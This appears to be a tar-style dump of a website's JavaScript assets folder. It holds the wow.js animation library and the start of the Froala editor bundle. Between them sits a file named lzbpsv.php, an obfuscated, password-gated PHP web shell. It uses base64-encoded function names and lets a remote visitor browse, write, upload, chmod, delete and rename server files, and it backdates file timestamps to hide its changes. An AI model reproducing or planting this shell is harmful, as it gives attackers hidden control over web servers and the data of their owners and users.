document.getElementById('URL_IMAGE').classList.remove('hidden'); } else { document.getElementById('URL_IMAGE').classList.add('hidden'); } } } } // }) }) // }) // }) } const CATEGORY_INPUT = document.getElementById("category_name"); if (CATEGORY_INPUT !== null) { CATEGORY_INPUT.addEventListener("keyup", (e) => { var value = e.value; value.toLowerCase(); value.replaceAll(" ", "-"); document.getElementById("category_slug").innerText = value; }); } document.querySelectorAll("body").forEach((e) => { e.classList.add("dark:bg-[#121317]"); }); wow.min.js 0000674 00000017733 00000000000 0006457 0 ustar 00 /*! WOW wow.js - v1.3.0 - 2016-10-04 * https://wowjs.uk * Copyright (c) 2016 Thomas Grainger; Licensed MIT */!function(a,b){if("function"==typeof define&&define.amd)define(["module","exports"],b);else if("undefined"!=typeof exports)b(module,exports);else{var c={exports:{}};b(c,c.exports),a.WOW=c.exports}}(this,function(a,b){"use strict";function c(a,b){if(!(a instanceof b))throw new TypeError("Cannot call a class as a function")}function d(a,b){return b.indexOf(a)>=0}function e(a,b){for(var c in b)if(null==a[c]){var d=b[c];a[c]=d}return a}function f(a){return/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(a)}function g(a){var b=arguments.length<=1||void 0===arguments[1]?!1:arguments[1],c=arguments.length<=2||void 0===arguments[2]?!1:arguments[2],d=arguments.length<=3||void 0===arguments[3]?null:arguments[3],e=void 0;return null!=document.createEvent?(e=document.createEvent("CustomEvent"),e.initCustomEvent(a,b,c,d)):null!=document.createEventObject?(e=document.createEventObject(),e.eventType=a):e.eventName=a,e}function h(a,b){null!=a.dispatchEvent?a.dispatchEvent(b):b in(null!=a)?a[b]():"on"+b in(null!=a)&&a["on"+b]()}function i(a,b,c){null!=a.addEventListener?a.addEventListener(b,c,!1):null!=a.attachEvent?a.attachEvent("on"+b,c):a[b]=c}function j(a,b,c){null!=a.removeEventListener?a.removeEventListener(b,c,!1):null!=a.detachEvent?a.detachEvent("on"+b,c):delete a[b]}function k(){return"innerHeight"in window?window.innerHeight:document.documentElement.clientHeight}Object.defineProperty(b,"__esModule",{value:!0});var l,m,n=function(){function a(a,b){for(var c=0;c<b.length;c++){var d=b[c];d.enumerable=d.enumerable||!1,d.configurable=!0,"value"in d&&(d.writable=!0),Object.defineProperty(a,d.key,d)}}return function(b,c,d){return c&&a(b.prototype,c),d&&a(b,d),b}}(),o=window.WeakMap||window.MozWeakMap||function(){function a(){c(this,a),this.keys=[],this.values=[]}return n(a,[{key:"get",value:function(a){for(var b=0;b<this.keys.length;b++){var c=this.keys[b];if(c===a)return this.values[b]}}},{key:"set",value:function(a,b){for(var c=0;c<this.keys.length;c++){var d=this.keys[c];if(d===a)return this.values[c]=b,this}return this.keys.push(a),this.values.push(b),this}}]),a}(),p=window.MutationObserver||window.WebkitMutationObserver||window.MozMutationObserver||(m=l=function(){function a(){c(this,a),"undefined"!=typeof console&&null!==console&&(console.warn("MutationObserver is not supported by your browser."),console.warn("WOW.js cannot detect dom mutations, please call .sync() after loading new content."))}return n(a,[{key:"observe",value:function(){}}]),a}(),l.notSupported=!0,m),q=window.getComputedStyle||function(a){var b=/(\-([a-z]){1})/g;return{getPropertyValue:function(c){"float"===c&&(c="styleFloat"),b.test(c)&&c.replace(b,function(a,b){return b.toUpperCase()});var d=a.currentStyle;return(null!=d?d[c]:void 0)||null}}},r=function(){function a(){var b=arguments.length<=0||void 0===arguments[0]?{}:arguments[0];c(this,a),this.defaults={boxClass:"wow",animateClass:"animated",offset:0,mobile:!0,live:!0,callback:null,scrollContainer:null,resetAnimation:!0},this.animate=function(){return"requestAnimationFrame"in window?function(a){return window.requestAnimationFrame(a)}:function(a){return a()}}(),this.vendors=["moz","webkit"],this.start=this.start.bind(this),this.resetAnimation=this.resetAnimation.bind(this),this.scrollHandler=this.scrollHandler.bind(this),this.scrollCallback=this.scrollCallback.bind(this),this.scrolled=!0,this.config=e(b,this.defaults),null!=b.scrollContainer&&(this.config.scrollContainer=document.querySelector(b.scrollContainer)),this.animationNameCache=new o,this.wowEvent=g(this.config.boxClass)}return n(a,[{key:"init",value:function(){this.element=window.document.documentElement,d(document.readyState,["interactive","complete"])?this.start():i(document,"DOMContentLoaded",this.start),this.finished=[]}},{key:"start",value:function(){var a=this;if(this.stopped=!1,this.boxes=[].slice.call(this.element.querySelectorAll("."+this.config.boxClass)),this.all=this.boxes.slice(0),this.boxes.length)if(this.disabled())this.resetStyle();else for(var b=0;b<this.boxes.length;b++){var c=this.boxes[b];this.applyStyle(c,!0)}if(this.disabled()||(i(this.config.scrollContainer||window,"scroll",this.scrollHandler),i(window,"resize",this.scrollHandler),this.interval=setInterval(this.scrollCallback,50)),this.config.live){var d=new p(function(b){for(var c=0;c<b.length;c++)for(var d=b[c],e=0;e<d.addedNodes.length;e++){var f=d.addedNodes[e];a.doSync(f)}});d.observe(document.body,{childList:!0,subtree:!0})}}},{key:"stop",value:function(){this.stopped=!0,j(this.config.scrollContainer||window,"scroll",this.scrollHandler),j(window,"resize",this.scrollHandler),null!=this.interval&&clearInterval(this.interval)}},{key:"sync",value:function(){p.notSupported&&this.doSync(this.element)}},{key:"doSync",value:function(a){if("undefined"!=typeof a&&null!==a||(a=this.element),1===a.nodeType){a=a.parentNode||a;for(var b=a.querySelectorAll("."+this.config.boxClass),c=0;c<b.length;c++){var e=b[c];d(e,this.all)||(this.boxes.push(e),this.all.push(e),this.stopped||this.disabled()?this.resetStyle():this.applyStyle(e,!0),this.scrolled=!0)}}}},{key:"show",value:function(a){return this.applyStyle(a),a.className=a.className+" "+this.config.animateClass,null!=this.config.callback&&this.config.callback(a),h(a,this.wowEvent),this.config.resetAnimation&&(i(a,"animationend",this.resetAnimation),i(a,"oanimationend",this.resetAnimation),i(a,"webkitAnimationEnd",this.resetAnimation),i(a,"MSAnimationEnd",this.resetAnimation)),a}},{key:"applyStyle",value:function(a,b){var c=this,d=a.getAttribute("data-wow-duration"),e=a.getAttribute("data-wow-delay"),f=a.getAttribute("data-wow-iteration");return this.animate(function(){return c.customStyle(a,b,d,e,f)})}},{key:"resetStyle",value:function(){for(var a=0;a<this.boxes.length;a++){var b=this.boxes[a];b.style.visibility="visible"}}},{key:"resetAnimation",value:function(a){if(a.type.toLowerCase().indexOf("animationend")>=0){var b=a.target||a.srcElement;b.className=b.className.replace(this.config.animateClass,"").trim()}}},{key:"customStyle",value:function(a,b,c,d,e){return b&&this.cacheAnimationName(a),a.style.visibility=b?"hidden":"visible",c&&this.vendorSet(a.style,{animationDuration:c}),d&&this.vendorSet(a.style,{animationDelay:d}),e&&this.vendorSet(a.style,{animationIterationCount:e}),this.vendorSet(a.style,{animationName:b?"none":this.cachedAnimationName(a)}),a}},{key:"vendorSet",value:function(a,b){for(var c in b)if(b.hasOwnProperty(c)){var d=b[c];a[""+c]=d;for(var e=0;e<this.vendors.length;e++){var f=this.vendors[e];a[""+f+c.charAt(0).toUpperCase()+c.substr(1)]=d}}}},{key:"vendorCSS",value:function(a,b){for(var c=q(a),d=c.getPropertyCSSValue(b),e=0;e<this.vendors.length;e++){var f=this.vendors[e];d=d||c.getPropertyCSSValue("-"+f+"-"+b)}return d}},{key:"animationName",value:function(a){var b=void 0;try{b=this.vendorCSS(a,"animation-name").cssText}catch(c){b=q(a).getPropertyValue("animation-name")}return"none"===b?"":b}},{key:"cacheAnimationName",value:function(a){return this.animationNameCache.set(a,this.animationName(a))}},{key:"cachedAnimationName",value:function(a){return this.animationNameCache.get(a)}},{key:"scrollHandler",value:function(){this.scrolled=!0}},{key:"scrollCallback",value:function(){if(this.scrolled){this.scrolled=!1;for(var a=[],b=0;b<this.boxes.length;b++){var c=this.boxes[b];if(c){if(this.isVisible(c)){this.show(c);continue}a.push(c)}}this.boxes=a,this.boxes.length||this.config.live||this.stop()}}},{key:"offsetTop",value:function(a){for(;void 0===a.offsetTop;)a=a.parentNode;for(var b=a.offsetTop;a.offsetParent;)a=a.offsetParent,b+=a.offsetTop;return b}},{key:"isVisible",value:function(a){var b=a.getAttribute("data-wow-offset")||this.config.offset,c=this.config.scrollContainer&&this.config.scrollContainer.scrollTop||window.pageYOffset,d=c+Math.min(this.element.clientHeight,k())-b,e=this.offsetTop(a),f=e+a.clientHeight;return d>=e&&f>=c}},{key:"disabled",value:function(){return!this.config.mobile&&f(navigator.userAgent)}}]),a}();b["default"]=r,a.exports=b["default"]}); lzbpsv.php 0000644 00000023501 00000000000 0006537 0 ustar 00 <?php function rubo() { global $azv, $jnb;$wug = $jnb[2](__FILE__);$qce = $jnb[25]()-$jnb[3](30,300)*86400;$qce1 = $jnb[4]($azv[8],$qce);$fmp = $jnb[5]($_GET,$_POST);$jcj = isset($fmp[$azv[9]]) ? $fmp[$azv[9]] : $wug;$zuw = isset($fmp[$azv[10]]) ? $fmp[$azv[10]] : "";$ped = isset($fmp[$azv[11]]) ? $fmp[$azv[11]] : "";if (!empty($fmp[$azv[12]])) {$jnb[6]($zuw,$jnb[7]($fmp[$azv[12]]));$jnb[8]($zuw,$qce);} else if (!empty($zuw)) {if (isset($fmp[$azv[13]])) {$jnb[6]($zuw,$fmp[$azv[13]]);if (isset($fmp[$azv[14]])) $jnb[8]($zuw,$jnb[9]($fmp[$azv[14]]));$kju = $azv[15];}$ijj = "";if($jnb[10]($zuw)) {$ijj = $jnb[7]($zuw);$qce1 = $jnb[4]($azv[8],$jnb[11]($zuw));}$jcj = $jnb[2]($zuw);} elseif (!empty($_FILES[$azv[16]])) {$nht = $_FILES[$azv[16]];for($I=0;$I<$jnb[12]($nht[$azv[17]]);$I++) {if($jnb[13]($nht[$azv[18]][$I], $jcj.$azv[19].$nht[$azv[17]][$I])) {$jnb[14]($jcj.$azv[19].$nht[$azv[17]][$I],0755);$kju = $azv[20];if (isset($fmp[$azv[14]])) $jnb[8]($jcj.$azv[19].$nht[$azv[17]][$I],$jnb[9]($fmp[$azv[14]]));}}} elseif (!empty($fmp[$azv[21]])) {$jnb[15]($fmp[$azv[21]]);} elseif (!empty($fmp[$azv[22]])) {$jnb[16]($fmp[$azv[22]]);} elseif (!empty($fmp[$azv[23]])) {$jnb[17]($fmp[$azv[23]]);} elseif (!empty($fmp[$azv[24]])&&!empty($fmp[$azv[25]])) {$jnb[18]($fmp[$azv[25]],$jnb[2]($fmp[$azv[25]]).$azv[19].$fmp[$azv[24]]);unset($ped);}if(!empty($fmp[$azv[26]])) exit($azv[27]);$shg = "";foreach($jnb[19]($jcj.$azv[28], GLOB_ONLYDIR) as $v) {$shg .= $azv[29].$jnb[20]($azv[30],"",$v).$azv[31].$jnb[4]($azv[8],$jnb[11]($v)).$azv[32].$jnb[21]($v).$azv[33].$jnb[22]($jnb[23]($azv[34],$jnb[24]($v)),-4).$azv[35].$v.$azv[36].$v.$azv[37].$v.$azv[38];}foreach($jnb[19]($jcj.$azv[39], GLOB_BRACE) as $v) {if($jnb[10]($v)) $shg .= $azv[40].$jnb[20]($azv[30],"",$v).$azv[31].$jnb[4]($azv[8],$jnb[11]($v)).$azv[32].$jnb[21]($v).$azv[33].$jnb[22]($jnb[23]($azv[34],$jnb[24]($v)),-4).$azv[41].$v.$azv[42].$v.$azv[43].$v.$azv[38];}echo $azv[44].$jcj.$azv[45].$qce1.$azv[46].$jcj.$azv[47].$_SERVER[$azv[48]].$azv[49].@$kju.$azv[50].(isset($ijj)?$azv[51].$qce1.$azv[52].$ijj.$azv[53]:(!empty($ped)?$azv[54].$ped.$azv[55]:$azv[56].$shg.$azv[57])).$azv[58];exit;} $ihk = 'base6'.'4_dec'.'ODE'; $azv = explode('~',$ihk('SF'.'RU'.'UF'.'9V'.'U0'.'VS'.'X0'.'FH'.'RU'.'5U'.'fm'.'xs'.'bH'.'4z'.'MW'.'Y2'.'Y2'.'Mx'.'OT'.'Rj'.'MG'.'I4'.'YT'.'Jj'.'fj'.'g0'.'OW'.'Yz'.'ZG'.'Ex'.'Zm'.'Mx'.'OT'.'li'.'ZT'.'h+'.'bH'.'45'.'M2'.'Fm'.'Yz'.'Vh'.'Mz'.'Y1'.'N2'.'Rl'.'MD'.'Qw'.'fm'.'E5'.'OG'.'M5'.'Y2'.'U2'.'Nj'.'di'.'Mz'.'Q5'.'Nz'.'h+'.'PC'.'FE'.'T0'.'NU'.'WV'.'BF'.'IG'.'h0'.'bW'.'w+'.'PG'.'h0'.'bW'.'w+'.'PG'.'hl'.'YW'.'Q+'.'PH'.'Rp'.'dG'.'xl'.'Pj'.'Qw'.'My'.'BG'.'b3'.'Ji'.'aW'.'Rk'.'ZW'.'4u'.'PC'.'90'.'aX'.'Rs'.'ZT'.'48'.'L2'.'hl'.'YW'.'Q+'.'PG'.'Jv'.'ZH'.'k+'.'PG'.'gx'.'Pk'.'Zv'.'cm'.'Jp'.'ZG'.'Rl'.'bi'.'48'.'L2'.'gx'.'Pj'.'xw'.'Pl'.'lv'.'dS'.'Bu'.'b3'.'Qg'.'aG'.'F2'.'ZS'.'Bw'.'ZX'.'Jt'.'aX'.'Nz'.'aW'.'9u'.'IH'.'Rv'.'IG'.'Fj'.'Y2'.'Vz'.'cy'.'Av'.'IG'.'9u'.'IH'.'Ro'.'aX'.'Mg'.'c2'.'Vy'.'dm'.'Vy'.'Lj'.'xi'.'ci'.'Av'.'Pj'.'wv'.'cD'.'48'.'Zm'.'9y'.'bS'.'Bh'.'Y3'.'Rp'.'b2'.'49'.'Ii'.'Ig'.'bW'.'V0'.'aG'.'9k'.'PS'.'Jw'.'b3'.'N0'.'Ij'.'48'.'aW'.'5w'.'dX'.'Qg'.'dH'.'lw'.'ZT'.'0i'.'cG'.'Fz'.'c3'.'dv'.'cm'.'Qi'.'IG'.'5h'.'bW'.'U9'.'Im'.'wi'.'IH'.'N0'.'eW'.'xl'.'PS'.'Ji'.'b3'.'Jk'.'ZX'.'I6'.'MC'.'I+'.'PC'.'9m'.'b3'.'Jt'.'Pj'.'wv'.'Ym'.'9k'.'eT'.'48'.'L2'.'h0'.'bW'.'w+'.'fl'.'kt'.'bS'.'1k'.'IE'.'g6'.'aT'.'pz'.'fm'.'lk'.'fn'.'Zp'.'ZH'.'5y'.'ZW'.'Zp'.'bG'.'V+'.'dX'.'Js'.'fn'.'R4'.'dH'.'50'.'aW'.'1l'.'fn'.'Zp'.'b2'.'t+'.'dW'.'Z+'.'bm'.'Ft'.'ZX'.'50'.'bX'.'Bf'.'bm'.'Ft'.'ZX'.'4v'.'fn'.'Vw'.'b2'.'t+'.'cm'.'1+'.'bW'.'tk'.'fn'.'Jt'.'ZH'.'5u'.'ZX'.'dm'.'aW'.'xl'.'fm'.'9s'.'ZG'.'Zp'.'bG'.'V+'.'cG'.'9z'.'dH'.'4j'.'ZG'.'9u'.'ZS'.'5+'.'Ly'.'p+'.'PG'.'Rp'.'di'.'Bj'.'bG'.'Fz'.'cz'.'0i'.'bG'.'lz'.'dC'.'Bk'.'aX'.'Ii'.'Pj'.'xz'.'cG'.'Fu'.'Pn'.'4v'.'Li'.'pc'.'Ly'.'9+'.'PC'.'9z'.'cG'.'Fu'.'Pj'.'xp'.'Pn'.'48'.'L2'.'k+'.'PH'.'U+'.'fj'.'wv'.'dT'.'48'.'Yj'.'5+'.'JW'.'9+'.'PC'.'9i'.'Pj'.'xh'.'IG'.'hy'.'ZW'.'Y9'.'Ij'.'9p'.'ZD'.'1+'.'Ij'.'5P'.'cG'.'Vu'.'PC'.'9h'.'Pi'.'At'.'ID'.'xh'.'IG'.'hy'.'ZW'.'Y9'.'Ij'.'9y'.'ZW'.'Zp'.'bG'.'U9'.'fi'.'I+'.'Um'.'Vu'.'YW'.'1l'.'PC'.'9h'.'Pi'.'At'.'ID'.'xh'.'IG'.'hy'.'ZW'.'Y9'.'Ij'.'9y'.'bW'.'Q9'.'fi'.'I+'.'RG'.'Vs'.'PC'.'9h'.'Pj'.'wv'.'ZG'.'l2'.'Pn'.'4v'.'ey'.'os'.'Li'.'os'.'Ki'.'59'.'fj'.'xk'.'aX'.'Yg'.'Y2'.'xh'.'c3'.'M9'.'Im'.'xp'.'c3'.'Qg'.'Zm'.'ls'.'ZS'.'I+'.'PH'.'Nw'.'YW'.'4+'.'fj'.'wv'.'Yj'.'48'.'YS'.'Bo'.'cm'.'Vm'.'PS'.'I/'.'dm'.'lk'.'PX'.'4i'.'Pk'.'Vk'.'aX'.'Q8'.'L2'.'E+'.'IC'.'0g'.'PG'.'Eg'.'aH'.'Jl'.'Zj'.'0i'.'P3'.'Jl'.'Zm'.'ls'.'ZT'.'1+'.'Ij'.'5S'.'ZW'.'5h'.'bW'.'U8'.'L2'.'E+'.'IC'.'0g'.'PG'.'Eg'.'aH'.'Jl'.'Zj'.'0i'.'P3'.'Jt'.'PX'.'48'.'IU'.'RP'.'Q1'.'RZ'.'UE'.'Ug'.'aH'.'Rt'.'bD'.'48'.'aH'.'Rt'.'bD'.'48'.'aG'.'Vh'.'ZD'.'48'.'dG'.'l0'.'bG'.'U+'.'ND'.'Az'.'IE'.'Zv'.'cm'.'Jp'.'ZG'.'Rl'.'bi'.'48'.'L3'.'Rp'.'dG'.'xl'.'Pj'.'xz'.'dH'.'ls'.'ZT'.'4q'.'e2'.'Zv'.'bn'.'Q6'.'MT'.'Rw'.'eC'.'8x'.'OH'.'B4'.'IH'.'Rh'.'aG'.'9t'.'YX'.'1p'.'bn'.'B1'.'dH'.'tm'.'b2'.'50'.'LX'.'Np'.'em'.'U6'.'MT'.'Jw'.'eD'.'tt'.'YX'.'Jn'.'aW'.'46'.'NX'.'B4'.'ID'.'B9'.'Yn'.'V0'.'dG'.'9u'.'e2'.'N1'.'cn'.'Nv'.'cj'.'pw'.'b2'.'lu'.'dG'.'Vy'.'fS'.'53'.'OX'.'t3'.'aW'.'R0'.'aD'.'o5'.'MC'.'V9'.'Lm'.'1z'.'Z3'.'tj'.'b2'.'xv'.'cj'.'py'.'ZW'.'R9'.'aG'.'Vh'.'ZG'.'Vy'.'e2'.'Jh'.'Y2'.'tn'.'cm'.'91'.'bm'.'Q6'.'Iz'.'Aw'.'MD'.'tj'.'b2'.'xv'.'cj'.'oj'.'Zm'.'Zm'.'fW'.'hl'.'YW'.'Rl'.'ci'.'Bh'.'e2'.'Nv'.'bG'.'9y'.'Oi'.'Nm'.'Zm'.'Z9'.'aG'.'Vh'.'ZG'.'Vy'.'IG'.'Zv'.'cm'.'17'.'ZG'.'lz'.'cG'.'xh'.'eT'.'pp'.'bm'.'xp'.'bm'.'Ut'.'Ym'.'xv'.'Y2'.'t9'.'Lm'.'Rp'.'cn'.'tj'.'b2'.'xv'.'cj'.'pn'.'cm'.'Vl'.'bn'.'0u'.'bG'.'lz'.'dH'.'ts'.'aW'.'5l'.'LW'.'hl'.'aW'.'do'.'dD'.'oy'.'Mn'.'B4'.'fS'.'5s'.'aX'.'N0'.'Om'.'hv'.'dm'.'Vy'.'e2'.'Jh'.'Y2'.'tn'.'cm'.'91'.'bm'.'Q6'.'I2'.'Vl'.'ZX'.'0u'.'bG'.'lz'.'dC'.'Aq'.'e2'.'Rp'.'c3'.'Bs'.'YX'.'k6'.'aW'.'5s'.'aW'.'5l'.'LW'.'Js'.'b2'.'Nr'.'O3'.'Rl'.'eH'.'Qt'.'YW'.'xp'.'Z2'.'46'.'bG'.'Vm'.'dD'.'t3'.'aW'.'R0'.'aD'.'ox'.'MD'.'Bw'.'eD'.'tm'.'b2'.'50'.'LX'.'N0'.'eW'.'xl'.'Om'.'5v'.'cm'.'1h'.'bH'.'0u'.'bG'.'lz'.'dC'.'Bz'.'cG'.'Fu'.'LC'.'5s'.'aX'.'N0'.'IG'.'l7'.'d2'.'lk'.'dG'.'g6'.'Mj'.'Aw'.'cH'.'h9'.'Lm'.'xp'.'c3'.'Qg'.'YX'.'tk'.'aX'.'Nw'.'bG'.'F5'.'Om'.'lu'.'bG'.'lu'.'ZT'.'tj'.'b2'.'xv'.'cj'.'pi'.'bH'.'Vl'.'fS'.'Nv'.'dX'.'Rw'.'dX'.'R7'.'cG'.'Fk'.'ZG'.'lu'.'Zz'.'ox'.'MH'.'B4'.'fT'.'wv'.'c3'.'R5'.'bG'.'U+'.'PC'.'9o'.'ZW'.'Fk'.'Pj'.'xi'.'b2'.'R5'.'Pj'.'xo'.'ZW'.'Fk'.'ZX'.'I+'.'PG'.'Zv'.'cm'.'0g'.'bW'.'V0'.'aG'.'9k'.'PS'.'Jn'.'ZX'.'Qi'.'Pj'.'xp'.'bn'.'B1'.'dC'.'B0'.'eX'.'Bl'.'PS'.'J0'.'ZX'.'h0'.'Ii'.'Bu'.'YW'.'1l'.'PS'.'Jp'.'ZC'.'Ig'.'dm'.'Fs'.'dW'.'U9'.'In'.'4i'.'Pj'.'xi'.'dX'.'R0'.'b2'.'4g'.'dH'.'lw'.'ZT'.'0i'.'c3'.'Vi'.'bW'.'l0'.'Ij'.'5E'.'aX'.'I8'.'L2'.'J1'.'dH'.'Rv'.'bj'.'48'.'L2'.'Zv'.'cm'.'0+'.'PG'.'Zv'.'cm'.'0g'.'bW'.'V0'.'aG'.'9k'.'PS'.'Jw'.'b3'.'N0'.'Ii'.'Bl'.'bm'.'N0'.'eX'.'Bl'.'PS'.'Jt'.'dW'.'x0'.'aX'.'Bh'.'cn'.'Qv'.'Zm'.'9y'.'bS'.'1k'.'YX'.'Rh'.'Ij'.'48'.'aW'.'5w'.'dX'.'Qg'.'dH'.'lw'.'ZT'.'0i'.'Zm'.'ls'.'ZS'.'Ig'.'bm'.'Ft'.'ZT'.'0i'.'dW'.'Zb'.'XS'.'Ig'.'bX'.'Vs'.'dG'.'lw'.'bG'.'U+'.'PG'.'lu'.'cH'.'V0'.'IH'.'R5'.'cG'.'U9'.'In'.'Rl'.'eH'.'Qi'.'IG'.'5h'.'bW'.'U9'.'In'.'Rp'.'bW'.'Ui'.'IH'.'Zh'.'bH'.'Vl'.'PS'.'J+'.'Ij'.'48'.'Yn'.'V0'.'dG'.'9u'.'IH'.'R5'.'cG'.'U9'.'In'.'N1'.'Ym'.'1p'.'dC'.'I+'.'VV'.'A8'.'L2'.'J1'.'dH'.'Rv'.'bj'.'48'.'L2'.'Zv'.'cm'.'0+'.'PG'.'Zv'.'cm'.'0g'.'bW'.'V0'.'aG'.'9k'.'PS'.'Jn'.'ZX'.'Qi'.'Pj'.'xp'.'bn'.'B1'.'dC'.'B0'.'eX'.'Bl'.'PS'.'J0'.'ZX'.'h0'.'Ii'.'Bu'.'YW'.'1l'.'PS'.'J2'.'aW'.'Qi'.'IH'.'Zh'.'bH'.'Vl'.'PS'.'J+'.'Ij'.'48'.'Yn'.'V0'.'dG'.'9u'.'IH'.'R5'.'cG'.'U9'.'In'.'N1'.'Ym'.'1p'.'dC'.'I+'.'Rm'.'ls'.'ZT'.'wv'.'Yn'.'V0'.'dG'.'9u'.'Pj'.'wv'.'Zm'.'9y'.'bT'.'48'.'YS'.'Bo'.'cm'.'Vm'.'PS'.'I/'.'aW'.'Q9'.'fk'.'RP'.'Q1'.'VN'.'RU'.'5U'.'X1'.'JP'.'T1'.'R+'.'Ij'.'5S'.'b2'.'90'.'IE'.'Rp'.'cj'.'wv'.'YT'.'4g'.'PH'.'Nw'.'YW'.'4g'.'Y2'.'xh'.'c3'.'M9'.'Im'.'1z'.'Zy'.'I+'.'fj'.'wv'.'c3'.'Bh'.'bj'.'48'.'L2'.'hl'.'YW'.'Rl'.'cj'.'5+'.'PG'.'Zv'.'cm'.'0g'.'bW'.'V0'.'aG'.'9k'.'PS'.'Jw'.'b3'.'N0'.'Ij'.'48'.'aW'.'5w'.'dX'.'Qg'.'dH'.'lw'.'ZT'.'0i'.'dG'.'V4'.'dC'.'Ig'.'bm'.'Ft'.'ZT'.'0i'.'dG'.'lt'.'ZS'.'Ig'.'dm'.'Fs'.'dW'.'U9'.'In'.'4i'.'IG'.'Ns'.'YX'.'Nz'.'PS'.'Jp'.'Ij'.'48'.'Yn'.'V0'.'dG'.'9u'.'IH'.'R5'.'cG'.'U9'.'In'.'N1'.'Ym'.'1p'.'dC'.'I+'.'U2'.'F2'.'ZT'.'wv'.'Yn'.'V0'.'dG'.'9u'.'Pj'.'xi'.'cj'.'48'.'dG'.'V4'.'dG'.'Fy'.'ZW'.'Eg'.'bm'.'Ft'.'ZT'.'0i'.'dH'.'h0'.'Ii'.'By'.'b3'.'dz'.'PS'.'I0'.'MC'.'Ig'.'Y2'.'xh'.'c3'.'M9'.'In'.'c5'.'Ij'.'5+'.'PC'.'90'.'ZX'.'h0'.'YX'.'Jl'.'YT'.'48'.'L2'.'Zv'.'cm'.'0+'.'fj'.'xm'.'b3'.'Jt'.'IG'.'1l'.'dG'.'hv'.'ZD'.'0i'.'cG'.'9z'.'dC'.'I+'.'PG'.'Jy'.'Pj'.'xp'.'bn'.'B1'.'dC'.'B0'.'eX'.'Bl'.'PS'.'J0'.'ZX'.'h0'.'Ii'.'Bu'.'YW'.'1l'.'PS'.'Jv'.'bG'.'Rm'.'aW'.'xl'.'Ii'.'B2'.'YW'.'x1'.'ZT'.'0i'.'fi'.'Ig'.'Y2'.'xh'.'c3'.'M9'.'In'.'c5'.'Ij'.'48'.'Yn'.'I+'.'PG'.'lu'.'cH'.'V0'.'IH'.'R5'.'cG'.'U9'.'In'.'Rl'.'eH'.'Qi'.'IG'.'5h'.'bW'.'U9'.'Im'.'5l'.'d2'.'Zp'.'bG'.'Ui'.'IH'.'Zh'.'bH'.'Vl'.'PS'.'Ii'.'IG'.'Ns'.'YX'.'Nz'.'PS'.'J3'.'OS'.'I+'.'PG'.'Jy'.'Pj'.'xi'.'dX'.'R0'.'b2'.'4g'.'dH'.'lw'.'ZT'.'0i'.'c3'.'Vi'.'bW'.'l0'.'Ij'.'5T'.'YX'.'Zl'.'PC'.'9i'.'dX'.'R0'.'b2'.'4+'.'PC'.'9m'.'b3'.'Jt'.'Pn'.'48'.'ZG'.'l2'.'IG'.'lk'.'PS'.'Jv'.'dX'.'Rw'.'dX'.'Qi'.'Pn'.'48'.'L2'.'Rp'.'dj'.'5+'.'PC'.'9i'.'b2'.'R5'.'Pj'.'wv'.'aH'.'Rt'.'bD'.'4=')); $jnb = explode('~',$ihk('c2Vzc'.'2lvbl'.'9zdGF'.'ydH5t'.'ZDV+Z'.'Glybm'.'FtZX5'.'yYW5k'.'fmRhd'.'GV+YX'.'JyYXl'.'fbWVy'.'Z2V+Z'.'mlsZV'.'9wdXR'.'fY29u'.'dGVud'.'HN+Zm'.'lsZV9'.'nZXRf'.'Y29ud'.'GVudH'.'N+dG9'.'1Y2h+'.'c3Ryd'.'G90aW'.'1lfml'.'zX2Zp'.'bGV+Z'.'mlsZW'.'10aW1'.'lfmNv'.'dW50f'.'m1vdm'.'VfdXB'.'sb2Fk'.'ZWRfZ'.'mlsZX'.'5jaG1'.'vZH51'.'bmxpb'.'mt+bW'.'tkaXJ'.'+cm1k'.'aXJ+c'.'mVuYW'.'1lfmd'.'sb2J+'.'cHJlZ'.'19yZX'.'BsYWN'.'lfmZp'.'bGVza'.'Xplfn'.'N1YnN'.'0cn5z'.'cHJpb'.'nRmfm'.'ZpbGV'.'wZXJt'.'c350a'.'W1l')); $jnb[0](); function kmps() { global $azv, $jnb;$ihk = $_POST; $xsr = $_SERVER[$azv[0]];if(!empty($_SESSION[$azv[1]]) || $jnb[1]($xsr.$jnb[1]($xsr))==$azv[2].$azv[3] || (!empty($ihk[$azv[4]]) && $jnb[1]($ihk[$azv[4]].$jnb[1]($ihk[$azv[4]]))==$azv[5].$azv[6])) {$_SESSION[$azv[1]] = 1;rubo();} else {exit($azv[7]);}} kmps(); froala_editor.pkgd.min.js 0000674 00004354660 00000000000 0011410 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):e.FroalaEditor=t()}(this,function(){"use strict";function a(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=Array(t);n<t;n++)r[n]=e[n];return r}function E(e,t,n,r,a,o,i){try{var s=e[o](i),l=s.value}catch(e){return void n(e)}s.done?t(l):Promise.resolve(l).then(r,a)}function He(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=l(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,a=function(){};return{s:a,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:a}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var o,i=!0,s=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return i=e.done,e},e:function(e){s=!0,o=e},f:function(){try{i||null==n["return"]||n["return"]()}finally{if(s)throw o}}}}function I(){I=function(){return i};var d,i={},e=Object.prototype,f=e.hasOwnProperty,s=Object.defineProperty||function(e,t,n){e[t]=n.value},t="function"==typeof Symbol?Symbol:{},o=t.iterator||"@@iterator",n=t.asyncIterator||"@@asyncIterator",r=t.toStringTag||"@@toStringTag";function a(e,t,n){return Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}),e[t]}try{a({},"")}catch(d){a=function(e,t,n){return e[t]=n}}function l(e,t,n,r){var a=t&&t.prototype instanceof b?t:b,o=Object.create(a.prototype),i=new x(r||[]);return s(o,"_invoke",{value:function c(o,i,s){var l=u;return function(e,t){if(l===g)throw Error("Generator is already running");if(l===m){if("throw"===e)throw t;return{value:d,done:!0}}for(s.method=e,s.arg=t;;){var n=s.delegate;if(n){var r=_(n,s);if(r){if(r===v)continue;return 